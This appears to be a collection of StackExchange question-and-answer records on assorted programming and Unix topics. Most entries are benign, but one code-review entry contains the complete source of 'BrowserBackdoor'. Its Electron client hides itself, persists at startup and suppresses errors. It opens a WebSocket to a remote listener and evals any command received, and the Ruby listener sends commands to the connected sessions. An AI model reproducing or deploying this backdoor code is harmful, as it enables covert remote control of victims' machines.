{  "id": "_codereview.29914"  , "question": "I forked this repo to be more concise. The code is here. I'll paste it below since that seems to be the style. I removed the class definitions at the bottom that I didn't change -- the edit I'm concerned with is the use of the class_factory function at the bottom. Is this good? Pythonic?  from selenium.webdriver import DesiredCapabilitiesfrom selenium.webdriver.firefox.webdriver import WebDriver as _Firefoxfrom selenium.webdriver.chrome.webdriver import WebDriver as _Chromefrom selenium.webdriver.ie.webdriver import WebDriver as _Iefrom selenium.webdriver.remote.webdriver import WebDriver as _Remotefrom selenium.webdriver.phantomjs.webdriver import WebDriver as _PhantomJSfrom webdriverplus.utils import _downloadfrom webdriverplus.webdriver import WebDriverDecoratorfrom webdriverplus.webelement import WebElementimport atexitimport osimport socketimport subprocessimport timetry:    from urllib2 import URLErrorexcept ImportError:    from urllib.error import URLErrorVERSION = (0, 2, 0)def get_version():    return '%d.%d.%d' % (VERSION[0], VERSION[1], VERSION[2])class WebDriver(WebDriverDecorator):    _pool = {}  # name -> (instance, signature)    _quit_on_exit = set()  # set of instances    _selenium_server = None  # Popen object    _default_browser_name = 'firefox'    @classmethod    def _at_exit(cls):                Gets registered to run on system exit.                if cls._selenium_server:            cls._selenium_server.kill()        for driver in cls._quit_on_exit:            try:                driver.quit(force=True)            except URLError:                pass    @classmethod    def _clear(cls):        cls._pool.clear()    @classmethod    def _get_from_pool(cls, browser):        Returns (instance, (args, kwargs))        return cls._pool.get(browser, (None, (None, None)))    def __new__(cls, browser=None, *args, **kwargs):        browsers = {'firefox':Firefox,                      'chrome':Chrome,                     'ie':Ie,                     'remote':Remote,                     'phantomjs':PhantomJS,                     'htmlunit':HtmlUnit}        quit_on_exit = kwargs.get('quit_on_exit', True)        reuse_browser = kwargs.get('reuse_browser')        signature = (args, kwargs)        browser = browser or cls._default_browser_name        reused_pooled_browser = False        pooled_browser = None        try:            is_str = isinstance(browser, basestring)        except NameError:            is_str = isinstance(browser, str)        if is_str:            browser = browser.lower()            pooled_browser, pooled_signature = WebDriver._get_from_pool(browser)            if pooled_signature == signature:                driver = pooled_browser                reused_pooled_browser = True            elif browser in browsers.keys():                driver = browsers[browser](*args, **kwargs)            else:                raise BrowserNotSupportedError()        # If a WebDriverDecorator/WebDriver is given, add it to the pool        elif isinstance(browser, WebDriverDecorator):            driver = browser            browser = driver.name        else:            kwargs['driver'] = browser            driver = WebDriverDecorator(*args, **kwargs)            browser = driver.name        if reuse_browser and not reused_pooled_browser:            if pooled_browser:                pooled_browser.quit(force=True)            WebDriver._pool[browser] = (driver, signature)        if quit_on_exit:            WebDriver._quit_on_exit.add(driver)        return driver    def __init__(self, browser='firefox', *args, **kwargs):        pass        # Not actually called.  Here for autodoc purposes only.atexit.register(WebDriver._at_exit)browser_types = ({'name':'Firefox', 'driver':_Firefox},                 {'name':'Chrome', 'driver':_Chrome},                 {'name':'Ie', 'driver':_Ie},                 {'name':'Remote', 'driver':_Remote},                 {'name':'PhantomJS', 'driver':_PhantomJS},)def class_factory(browser_type, bases):    class Class_(*bases):        def __init__(self, *args, **kwargs):            kwargs['driver'] = browser_type['driver']            super().__init__(*args, **kwargs)    Class_.__name__ = browser_type['name']    return Class_for browser_type in browser_types:    globals()[browser_type['name']] = class_factory(browser_type,                                                    (WebDriverDecorator,))"  , "title": "Streamlining repetitive class definitions in python with a class_factory() function"  , "tags": "python;classes;python 3.x;meta programming"  , "accepted_answer": "It's not unknown: python is really good at this, although the more common approach would be to use a metaclass.  The immediate drawbacks are1) it introduces a state-changing dependency to the import statement. If code that is using this code gets imported in a non-standard way you may get confusing errors because types will or will not appear depending on when this module gets run. It's not a major issue if this code will be imported directly but it's potentially problematic if there is more magic going on elsewhere.2) less importantly, it's going to play hell with IDE's that try to do autocomplete for you :)I'm guessing that the super().init idiom is a python 3 replacement for type('Name', (),{}) by it's form. If it's not - that is the old way to create a runtime type and it avoids creating and renaming the Class_ class, which seems messy to me.  Examples of the 'old way' hereLastly: this seems like classes that differ only in data, or to be more precise in composition.  In cases like that I've always found it more maintainable to do it declaratively with class-level variables and appropriate indirections:class Browser(object):   BROWSER = 'browser'   DRIVER = None   @property   def name(self):       return self.BROWSER   def do_something(self):       self.DRIVER.do_something()class Firefox(Browser):    BROWSER = 'Firefox'    DRIVER = _Firefoxclass Chrome (Browser):    BROWSER = 'Chrome'    DRIVER = _ChromeDoing this allows you to do subclassing and overrides as appropriate, which is much hairier with types that have to be created before they can be changed.  "  } 
{  "id": "_softwareengineering.315847"  , "question": "Suppose we have a set of binary trees with their inorder and preorder traversals given and where no tree is a subtree of another tree in the given set. Now another binary tree Q is given.Find whether it can be formed by joining the binary trees from the given set(while joining each tree in the set should be considered atmost once). In this case a joining operation means: Pick the root of any tree in the set and hook it to any vertex of another tree such that the resulting tree is also a binary tree.Can we do this using LCA (least common ancestor)? Or does it needs any special datastructure to solve?"  , "title": "Joining binary trees"  , "tags": "data structures;binary tree"  } 
{  "id": "_codereview.129629"  , "question": "I have created an Electron Application with a JavaScript/NodeJS Backdoor and a Ruby command-line listener.I created this program for remote administration of my home computer securely using a new technology (WebSockets) which I found very interesting.The program is two parts: The Electron application written in JavaScript which includes a JavaScript backdoor using WebSockets.A Ruby command-line WebSocket listener with the ability to communicate and send commands to the Electron application.I'd love any general suggestions or fixes!Feel free to only look at the client or server based on if you only know JavaScript or Ruby.You may ignore anything that says TODO because this site is not about fixing non functioning code.The project is also available on Github.To download all the code you can use:git clone https://github.com/IMcPwn/browser-backdoorclient/main.js (the Electron application)/* * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor * BrowserBackdoor is an electron application that uses a JavaScript backdoor (in index.html) * to connect to the listener (BrowserBackdoorServer). * For more information visit: http://imcpwn.com * MIT License * Copyright (c) 2016 Carleton Stuberg * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the Software), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */const electron = require('electron')const AutoLaunch = require('auto-launch');const app = electron.app;const dialog = electron.dialog;const globalShortcut = electron.globalShortcut;const BrowserWindow = electron.BrowserWindow;const Menu = electron.Menu;// Keep a global reference of the window object so it doesn't get garbage collected.let mainWindow;// Passing true enables startup, false disables startup.function manageStartup(enable) {    let appLauncher = new AutoLaunch({        // Change this to the name of the application or what        // should appear in the startup menu.        name: 'BB'    });    if (enable) {        appLauncher.isEnabled().then(function(enabled){            if(enabled) return;            return appLauncher.enable();        }).then(function(err){            // TODO: Deal with error        });    } else {        appLauncher.isEnabled().then(function(enabled){            if(!enabled) return;            return appLauncher.disable();        }).then(function(err){            // TODO: Deal with error        });     }}function createWindow() {    // Change CommandOrControl+Alt+\\ to the shortcut to manage the application.    globalShortcut.register('CommandOrControl+Alt+\\\\', function () {        let result = dialog.showMessageBox({            type: 'info',            title: 'Shortcut pressed',            message: 'You pressed the keyboard shortcut. \\nIf you do not know what you are doing press cancel.',            buttons: ['Quit Application', 'Enable Startup', 'Disable Startup', 'Cancel']        });        if (result === 0) {            mainWindow = null;            app.exit(0);        } else if (result === 1) {            manageStartup(true);        } else if (result === 2) {            manageStartup(false);        }    });    // Create a hidden browser window which loads the backdoor.    mainWindow = new BrowserWindow({        width: 1,        height: 1,        show: false,        closable: false,        transparent: true,        resizable: false,        skipTaskbar: true    });    mainWindow.loadURL(`file://${__dirname}/index.html`);    // Hide application menu.    Menu.setApplicationMenu(null);    mainWindow.on('closed', function() {        mainWindow = null;    });}// Only allow one instance of the application at a time.const shouldQuit = app.makeSingleInstance((commandLine, workingDirectory) => {    if (mainWindow === null) {        createWindow();    }});if (shouldQuit) {    mainWindow = null;    app.exit(0);}// Hide application from tray if on OS X.if (process.platform === 'darwin') {    app.dock.hide();}// Catch uncaughtExceptions so no popups appear on errors.process.on('uncaughtException', function ( err ) {    // TODO: Restart application or print error message    console.error('An uncaughtException was found, the program will end.');    process.exit(1);});// Accept --startup as command line argument to enable on startup.process.argv.forEach(function (val, index, array) {  if (val === --startup) {    manageStartup(true);  }});app.on('before-quit', function() {    mainWindow = null;});app.on('will-quit', function() {    globalShortcut.unregisterAll()});// This method will be called when Electron has finished// initialization and is ready to create browser windows.app.on('ready', createWindow)// Re-open if all windows are closed.app.on('window-all-closed', function() {    createWindow();});app.on('activate', function() {    // Create window if activated and it doesn't already exist.    if (mainWindow === null) {        createWindow();    }});client/package.json (required for the Electron application){  name: BrowserBackdoor,  version: 1.0.0,  description: Electron application to connect to BrowserBackdoorServer,  main: main.js,  scripts: {    start: electron main.js  },  repository: {    type: git,    url: git+https://github.com/IMcPwn/browser-backdoor.git  },  author: Carleton Stuberg,  license: MIT,  bugs: {    url: https://github.com/IMcPwn/browser-backdoor/issues  },  homepage: https://github.com/IMcPwn/browser-backdoor,  devDependencies: {    electron-prebuilt: ^1.1.2,    auto-launch: 2.0.1  }}client/index.html (the JavaScript backdoor)<!DOCTYPE html><html><head>    <script>    /*     * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com     * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor     * See the file 'LICENSE' for copying permission     */    (function connect() {        if (WebSocket in window)        {            // Change host and port to where you're hosting            // the WebSocket server.            // Also change ws:// to wss:// if secure is enabled on the            // server.            var ws = new WebSocket(ws://your-server-here:1234);            ws.onmessage = function(evt)            {                if (ws.readyState === 1) {                    // Send the result of eval'ing the remote message.                    ws.send(eval(evt.data));                }            };            ws.onclose = function()            {                // Reconnect after 5 seconds.                setTimeout(connect, 5000);            };       }    })();    </script></head><body></body></html>server/bb-server.rb (The listener)#!/usr/bin/env ruby# BrowserBackdoorServer - https://github.com/IMcPwn/browser-backdoor# BrowserBackdoorServer is a WebSocket server that listens for connections # from BrowserBackdoor and creates an command-line interface for # executing commands on the remote system(s).# For more information visit: http://imcpwn.com# MIT License# Copyright (c) 2016 Carleton Stuberg# Permission is hereby granted, free of charge, to any person obtaining a copy# of this software and associated documentation files (the Software), to deal# in the Software without restriction, including without limitation the rights# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell# copies of the Software, and to permit persons to whom the Software is# furnished to do so, subject to the following conditions:# The above copyright notice and this permission notice shall be included in all# copies or substantial portions of the Software.# THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE# SOFTWARE.require 'em-websocket'require 'yaml'# TODO: Make all the variables besides $wsList non global.$wsList = Array.new$selected = -1COMMANDS = {    help => Help menu,    exit => Quit the application,    sessions => List active sessions,    use => Select active session,    info => Get session information (IP, User Agent),    exec => Execute a command on a session,    get_cert => Get a free TLS certificate from LetsEncrypt,    load => Load a module (not implemented yet)}WELCOME_MESSAGE = \\ ____                                  ____             _       _                  \\n\\|  _ \\                                |  _ \\           | |     | |                 \\n\\| |_) |_ __ _____      _____  ___ _ __| |_) | __ _  ___| | ____| | ___   ___  _ __ \\n\\|  _ <| '__/ _ \\ \\ /\\ / / __|/ _ \\ '__|  _ < / _' |/ __| |/ / _' |/ _ \\ / _ \\| '__|\\n\\| |_) | | | (_) \\ V  V /\\__ \\  __/ |  | |_) | (_| | (__|   < (_| | (_) | (_) | |   \\n\\|____/|_|  \\___/ \\_/\\_/ |___/\\___|_|  |____/ \\__,_|\\___|_|\\_\\__,_|\\___/ \\___/|_| by IMcPwn\\n\\Visit http://imcpwn.com for more information.\\ndef main()    begin        configfile = YAML.load_file(config.yml)        Thread.new{startEM(configfile['host'], configfile['port'], configfile['secure'], configfile['priv_key'], configfile['cert_chain'])}    rescue => e        puts 'Error loading configuration'        puts e.message        puts e.backtrace        return    end    cmdLine()enddef print_error(message)    puts [X]  + messageenddef print_notice(message)    puts [*]  + messageenddef infoCommand()    # TODO: Improve method of getting IP address    infoCommands = [var xhttp = new XMLHttpRequest();xhttp.open(\\GET\\, \\https://ipv4.icanhazip.com/\\, false);xhttp.send();xhttp.responseText,navigator.appVersion;, navigator.platform;, navigator.language;]    infoCommands.each {|cmd|        begin            sendCommand(cmd, $wsList[$selected])        rescue             print_error(Error sending command. Selected session may no longer exist.)             break        end    }enddef sessionsCommand()    if $wsList.length < 1        puts No sessions        return    end    puts ID: Connection    $wsList.each_with_index {|val, index|        puts index.to_s +  :  + val.to_s    }enddef execCommand(cmdIn)    if cmdIn.length < 2        loop do            print Enter the command to send. (exit when done)\\nCMD-#{$selected}>             cmdSend = gets.split.join(' ')            break if cmdSend == exit            next if cmdSend ==             begin                sendCommand(cmdSend, $wsList[$selected])            rescue                print_error(Error sending command. Selected session may no longer exist.)            end        end    else        # TODO: Support space        begin            sendCommand(cmdIn[1], $wsList[$selected])        rescue            print_error(Error sending command. Selected session may no longer exist.)        end    endenddef useCommand(cmdIn)    if cmdIn.length < 2        print_error(Invalid usage. Try help for help.)        return    end    selectIn = cmdIn[1].to_i    if selectIn > $wsList.length - 1        print_error(Session does not exist.)        return    end    $selected = selectIn    print_notice(Selected session is now  + $selected.to_s + .)enddef cmdLine()    puts WELCOME_MESSAGE    print \\nWebSocket listener is now running...\\nEnter help for help.    loop do        print \\n>         cmdIn = gets.chomp.split()        case cmdIn[0]        when help            COMMANDS.each do |key, array|                print key                print  -->                 puts array            end        when exit            break        when sessions            sessionsCommand()                when use            useCommand(cmdIn)        when info            if validSession?($selected)                infoCommand()            else                next            end        when exec           if validSession?($selected)               execCommand(cmdIn)           else               next           end       when get_cert           if File.file?(getCert.sh)               system(./getCert.sh)           else               print_error(getCert.sh does not exist)           end       else           print_error(Invalid command. Try help for help.)        end    endenddef validSession?(selected)    if selected == -1        print_error(No session selected. Try use SESSION_ID first.)        return false    elsif $wsList.length < $selected        print_error(Session no longer exists.)        return false    end    return trueenddef sendCommand(cmd, ws)    ws.send(cmd)enddef startEM(host, port, secure, priv_key, cert_chain)    EM.run {        EM::WebSocket.run({            :host => host,            :port => port,            :secure => secure,            :tls_options => {                        :private_key_file => priv_key,                        :cert_chain_file => cert_chain        }        }) do |ws|            $wsList.push(ws)            ws.onopen { |handshake|                print_notice(WebSocket connection open:  + handshake.to_s)            }            ws.onclose {                print_error(Connection closed)                $wsList.delete(ws)                # TODO: Fix this. Reset selected error so the wrong session is not used.                $selected = -1            }            ws.onmessage { |msg|                print_notice(Response received:  + msg)            }            ws.onerror { |e|                print_error(e.message)                $wsList.delete(ws)                # Reset selected variable after error                $selected = -1            }        end    }endmain()server/config.yml (Configuration for the listener)## Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com# BrowserBackdoorServer by IMcPwn.# See the file 'LICENSE' for copying permission#host: 0.0.0.0port: 1234# Requires valid private key and certificate.secure: falsepriv_key: privkey.pemcert_chain: cert.pemGemfile (The listener's gems)## Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com# BrowserBackdoorServer by IMcPwn.# See the file 'LICENSE' for copying permission#source 'https://rubygems.org'gem 'eventmachine'gem 'em-websocket'"  , "title": "Electron Application with JavaScript Backdoor and Ruby Command-Line Listener"  , "tags": "javascript;ruby;node.js;websocket"  } 
{  "id": "_unix.68590"  , "question": "Is there a way to setup squid (or another caching proxies) to cache any http/https request from my own computer? i will use it to record all request and get the downloaded files from software that does not show the url's or redownload packages that already been downloaded (such as Yaourt --> this package always redownload packages that already been downloaded, it's really takes too much bandwidth for big packages)"  , "title": "Self cache-proxying all outcoming http/https request"  , "tags": "proxy;http proxy"  } 
{  "id": "_codereview.147691"  , "question": "I've just solved this problem and I hope you guys give me any feedback to make my code be better.Problem: There are N strings. Each string's length is no more than 20 characters. There are also Q queries. For each query, you are given a string, and you need to find out how many times this string occurred previously.Input FormatThe first line contains N, the number of strings. The next N lines each  contain a string. The N+2nd line contains Q, the number of queries. The  following Q lines each contain a query string.import java.io.*;import java.util.*;public class Solution {    public static void main(String[] args) {                Scanner scan = new Scanner(System.in);        int n = scan.nextInt();        String[] stringArr = new String[n];        for (int i = 0; i < n; i++){                stringArr[i] = scan.next();                          }        int q = scan.nextInt();        for (int i = 0; i < q; i++){                String stringQue = scan.next();                int occNum = 0;                for (int j = 0; j < n; j++){                    if (stringQue.equals(stringArr[j])) occNum++;                                                           }             System.out.println(occNum);        }       }}"  , "title": "Hackerrank Sparse Arrays Solution in Java"  , "tags": "java;programming challenge;array"  } 
{  "id": "_unix.82472"  , "question": "I want to delete the occurrence of a character in a string only for the first occurrence.Example:echo B123_BACK | tr -d 'B'This results in output:123_ACKHow can I delete only the first occurrence of charcater 'B' so that the output looks like123_BACK"  , "title": "Delete only first occurrence of character using tr"  , "tags": "tr"  , "accepted_answer": "Looking at the tr man page, this isn't possible. Why not use sed instead:echo B123_BACK|sed 's/B//'"  } 
{  "id": "_webapps.39683"  , "question": "I updated the gravatar for my e-mail address (a few days ago), but GitHub Enterprise is still displaying the old one.  How do I force it to refresh?"  , "title": "How do I force GitHub Enterprise to refresh gravatar?"  , "tags": "github;gravatar"  , "accepted_answer": "This fix is easy. I will confirm this works since I work at the same organization as Brian Knoblauch. Simply navigate to ${github.url}/stafftools and navigate down to the 'enable gravatars' option (under settings tab) and enable it. The server will restart and your gravatars will now appear."  } 
{  "id": "_cogsci.5900"  , "question": "A while back I created an iPhone app that helps me create a composite like the one below. Can observing such a composite have an impact of attributing the qualities perceived in the composite to oneself? For example feeling more open or extraverted.http://luciddreamingapp.com/wp-content/uploads/2012/01/Augmented-Reality-Alexander-Stone-37percent-with-Average-attractive-male-200x300.pngThe reason I'm asking is that I foundthis answer to question about facial features and personality. Within an answer, there's a link to this paper: Personality judgments from natural and composite facial images.The paper suggests that ordinary, untrained people are capable of naturally recognizing and rating a face on a big 5 personality traits. The author proceeds to show that composite faces that are rated high on the socially - desirable traits, like extraversion, openness and agreeableness are rated as more attractive by the study's test subjects:Here are the attractiveness ratings summary from the male faces above:When using my app, the user's brain is tricked into recognizing the composite image as one's own, because it is made of a live camera image + static image, and the image can blink, smile, frown, etc. The brain merges the two images, potentially distorting the true geometry of one's face by perceiving a composite image.Here is a quote from that article on the self fulfilling prophesy effect (page 635):For example, people with facial features that elicit attributions of  agreeableness may be treated as more trustworthy and may perhaps  consequently develop more agreeable personality characteristics.I'm interested if perceiving such composite can activate the same mechanisms used to judge other faces, thus creating the same self-fulfilling prophesy and having an impact on one's personality?Probably a part of the answer to the question is in answering the question: does one's own image in the mirror affect one's personality?"  , "title": "Can observing a composite photo of one's own face have an impact on own personality?"  , "tags": "social psychology;perception;personality"  } 
{  "id": "_softwareengineering.323541"  , "question": "I have a Windows Form for creating configs. It has around 50 fields of data, which represent a group of entities, that I need to capture when the user presses the save button. Currently, on the press of the save button I build the group of Entities by creating each entity, extracting the information from the controls and then save them to the database.I am now working on functionality to import the partly built configs from XML. With the way the save button works I would be replicating almost all of the save code to achieve this.The only alternative I think of was to pass the values of the controls as parameters to a new class that will contain methods that build and return an entity. However, passing ~15 parameters to each entity creator method does not seem to be a clean solution.Is there any clean way of disconnecting the save logic from the WinForm that will enable me to reuse the save code?"  , "title": "Separating save logic from WinForm to make it reusable"  , "tags": "design;entity framework;winforms;separation of concerns"  , "accepted_answer": "Start with some building blocks first:make a class MyConfigData, a simple DTO object, no special logic here. It should hold all the configuration data you want to manageimplement methods void SetData(MyConfigData config) and MyConfigData GetData() in your form - these two methods should transfer the data from the DTO object into the form, and vice versa.create a class ConfigDbRepo with a method Save(MyConfigData config) and MyConfigData Load(). Put the database load and save logic here.put the code to load and save the config data from or to an XML file in a similar class ConfigXmlRepo. If you like, the two classes can have a common interface IConfigRepo, but that is not mandatory.What remains is to connect these pieces together. How you will do this depends somewhat on how your application works in general, if your form is modal or non-modal, and how exactly your application controls when to load/save from a db and when to load/save to an XML file.  But I hope it is clear that with these tools you can load a config from an arbitrary source (Xml, Db, Form) and save it also to an arbitrary source (Xml, Db, Form), without any avoidable duplicate code."  } 
{  "id": "_cs.70066"  , "question": "Does the Ford-Fulkerson/Edmonds-Karp algorithm still work on a network graph where a bidirectional connection exists between two nodes? e.g. $(a,b)$, $(b,a)$ $\\in E$Thought there would be trouble creating the back edges in the residual network when the edge already exists? Or is it equivalent to increase it's flow instead?"  , "title": "Bidirectional connection in Ford-fulkerson's/Edmonds-Karp's algorithm"  , "tags": "network flow;ford fulkerson"  } 
{  "id": "_unix.280469"  , "question": "How can I give files extended attributes in mac os x? Mac os x doesn't have the 'setattr' command. "  , "title": "How can I give files extended attributes in mac os x?"  , "tags": "files;osx;xattr"  } 
{  "id": "_unix.373834"  , "question": "https://stackoverflow.com/questions/5105482/compile-main-python-program-using-cython seems to indicate that (just like a C-program) you need to jump through hoops to get things running.Being used to simply prepending #!/usr/bin/python I am wondering if there is a shebang wrapper that does The Right Thing. I am thinking something like:#!/usr/bin/cythonwrapperprint Hello worldwhere cythonwrapper checks if the cached file is newer and if not converts the script into C, compiles it, put the compiled file into a cache and runs it."  , "title": "Shebang for cython"  , "tags": "python"  , "accepted_answer": "There is one now. It is called shython: https://gitlab.com/ole.tange/tangetools/tree/master/shython"  } 
{  "id": "_softwareengineering.348715"  , "question": "Reading through a scathing article on the downsides of OOP in favour of some other paradigm I've run into an example that I can't find too much fault with. I want to be open to the author's arguments, and although I can theoretically understand their points, one example in particular I'm having a hard time trying to imagine how it would be better implemented in, say, a FP language.From: http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end// Consider the case where SimpleProductManager is a child of// ProductManager:public class SimpleProductManager implements ProductManager {    private List products;    public List getProducts() {        return products;    }    public void increasePrice(int percentage) {        if (products != null) {            for (Product product : products) {                double newPrice = product.getPrice().doubleValue() *                (100 + percentage)/100;                product.setPrice(newPrice);            }        }    }    public void setProducts(List products) {        this.products = products;    }}// There are 3 behaviors here:getProducts()increasePrice()setProducts()// Is there any rational reason why these 3 behaviors should be linked to// the fact that in my data hierarchy I want SimpleProductManager to be// a child of ProductManager? I can not think of any. I do not want the// behavior of my code linked together with my definition of my data-type// hierarchy, and yet in OOP I have no choice: all methods must go inside// of a class, and the class declaration is also where I declare my// data-type hierarchy:public class SimpleProductManager implements ProductManager// This is a disaster.Note that I am not looking for a rebuttal for or against the writer's arguments for Is there any any rational reason why these 3 behaviours should be linked to the data hierarchy?.What I'm specifically asking is how would this example be modelled/programmed in a FP language (Actual code, not theoretically)?"  , "title": "How would this be programmed in non-OO?"  , "tags": "object oriented;functional programming"  , "accepted_answer": "In FP style, Product would be an immutable class, product.setPrice would not mutate a Product object but return a new object instead, and the increasePrice function would be a standalone function. Using a similar looking syntax like yours (C#/Java like), an equivalent function could look like this: public List increasePrice(List products, int percentage) {    if (products != null) {        return products.Select(product => {                double newPrice = product.getPrice().doubleValue() *                    (100 + percentage)/100;                return product.setPrice(newPrice);                    });    }    else return null;}As you see, the core is not really different here, except the boilerplate code from the contrived OOP example is omitted. However, I don't see this as evidence that OOP leads to bloated code, only as evidence for the fact if one constructs a code example which is sufficiently artificial enough, it is possible to prove anything."  } 
{  "id": "_unix.149100"  , "question": "How can you hide unwanted apps from the gnome app menu?I've installed alacarte/main menu, unticked the apps but they still appear.I've also checked in /usr/share/applications and viewed one the apps I don't want to appear and it says NoDisplay=true but still it shows."  , "title": "Remove icons in gnome application menu"  , "tags": "gnome3;icons;menu"  } 
{  "id": "_codereview.159841"  , "question": "I'm new to PHP, having coded in Perl and ColdFusion years ago.  In the process of trying to familiarize myself with my new job, I have found some code that would neither seem efficient nor logical, although it does execute properly.  I would like to get feedback about whether one particular piece of code is poorly done, or whether there is in fact a reason it was done this way that is not apparent to someone new to PHP.  The code reads in the contents of a text file, and then sets variables from that file. The input file contains customer records, with fields/columns delineated by commas and rows delineated by line breaks. After the variables are set, they are sliced and diced in various ways, and at the end of each foreach block, a row is appended to another text file.  The data in the input text file might look something like this:123456789,MOSName,Bob,Jones,2012 Parakeet Lane999999999,OtherMOSName,Samantha,Smith,1212 Whatever Street236751235,YetAnotherMOSName,Tom,Baker,555 Blahblah Boulevard and so on.The below code only includes what is essential to understand the question.$openit = file('thedirectory/thefilename.txt');foreach($openit as $values) {  //acct[0]  $acct = explode(',', $values, 2);  //mos[1]  $mos = explode(',', $values, 3);  //f_name[2]  $f_name = explode(',', $values, 4);  //l_name[3]  $l_name = explode(',', $values, 5);  //addr[4]  $addr = explode(',', $values, 6);...and so on, for 26 variables.My inclination would be to simply explode the string once for each row, and place each value in a variable, like:list($acct, $mos, $f_name, $l_name, $addr) = explode(,, $values);But instead each variable is being set as an array of N items, where N is the limit attribute of explode, and where the final item includes the entire rest of the string.  Then the actual piece of data is being referenced in the rest of the file using the element of that array where the relevant info is actually stored.  So, acct would be referenced later on in the code as $acct[0], mos would be referenced as $mos[1], etc.Is this as inefficient and illogical as it seems?  Or what am I missing here? If it is indeed an odd way of doing things, what would have been the motivation to do it this way?"  , "title": "Setting variables from a text file"  , "tags": "php;array"  } 
{  "id": "_codereview.2025"  , "question": "The ConcurrentDictionary<T,V> in .NET 4.0 is thread safe but not all methods are atomic.This points out that:... not all methods are atomic, specifically GetOrAdd and AddOrUpdate. The user delegate that is passed to these methods is invoked outside of the dictionary's internal lock.Example Problem:It is possible for the delegate method to be executed more than once for a given key.public static readonly ConcurrentDictionary<int, string> store =    new ConcurrentDictionary<int, string>();[TestMethod]public void UnsafeConcurrentDictionaryTest(){    Thread t1 = new Thread(() =>    {        store.GetOrAdd(0, i =>        {            string msg = Hello from t1;            Trace.WriteLine(msg);            Thread.SpinWait(10000);            return msg;        });    });    Thread t2 = new Thread(() =>    {        store.GetOrAdd(0, i =>        {            string msg = Hello from t2;            Trace.WriteLine(msg);            Thread.SpinWait(10000);            return msg;        });    });    t1.Start();    t2.Start();    t1.Join();    t2.Join();}The result shown in the Trace window shows Hello from t1 and Hello from t2. This is NOT the desired behavior for most implementations that we are using and confirms the problem noted in the MSDN link above. What we want is for only one of those delegates to be executed.Proposed Solution:I have to use the delegate overloads of these methods which led me to investigate this matter further. I stumbled onto this post which suggests using the Lazy<T> class to ensure the delegate is only invoked once. With that in mind I wrote the following extension methods to mask the adding of a Lazy<T> wrapper to the value.public static V GetOrAdd<T, U, V>(this ConcurrentDictionary<T, U> dictionary, T key, Func<T, V> valueFactory)where U : Lazy<V>{    U lazy = dictionary.GetOrAdd(key, (U)new Lazy<V>(() => valueFactory(key)));    return lazy.Value;}public static V AddOrUpdate<T, U, V>(this ConcurrentDictionary<T, U> dictionary, T key, Func<T, V> addValueFactory, Func<T, V, V> updateValueFactory)where U : Lazy<V>{    U lazy = dictionary.AddOrUpdate(key,                 (U)new Lazy<V>(() => addValueFactory(key)),                 (k, oldValue) => (U)new Lazy<V>(() => updateValueFactory(k, oldValue.Value)));    return lazy.Value;}Testing Solution:Executing the same test above using a ConcurrentDictionary that has a Lazy value results in the value delegate ONLY being executed once (you either see Hello from t1 or Hello from t2)! public static readonly ConcurrentDictionary<int, Lazy<string>> safeStore =            new ConcurrentDictionary<int, Lazy<string>>();So it seems that this approach accomplished the goal.What do you think of this approach?"  , "title": "Extension methods to make ConcurrentDictionary GetOrAdd and AddOrUpdate thread safe when using valueFactory delegates"  , "tags": "c#;thread safety"  , "accepted_answer": "Allowing the caller to provide the type argument U implies that they are allowed to use a subclass of Lazy<V>, but this will not work as your implementations always creates a new List<V> and cast it to U. Since this means U must always be a Lazy<V> then why not do away with the extra type argument.public static V GetOrAdd<T, V>(this ConcurrentDictionary<T, Lazy<V>> dictionary, T key, Func<T, V> valueFactory)The name of the new extension methods conflict with the names of the existing methods. For the consumer to use yours instead of the existing methods, they would need to either access via your static class or use explicit type arguments. This could lead to subtle bugs when consumers try to use it as a extension method with type inference.ExtensionHost.GetOrAdd(safeStore, 7, (i) => i.ToString());             // uses yourssafeStore.GetOrAdd<int, Lazy<string>, string>(6, (i) => i.ToString()); // uses yourssafeStore.GetOrAdd(5, (i) => i.ToString());                            // uses existing"  } 
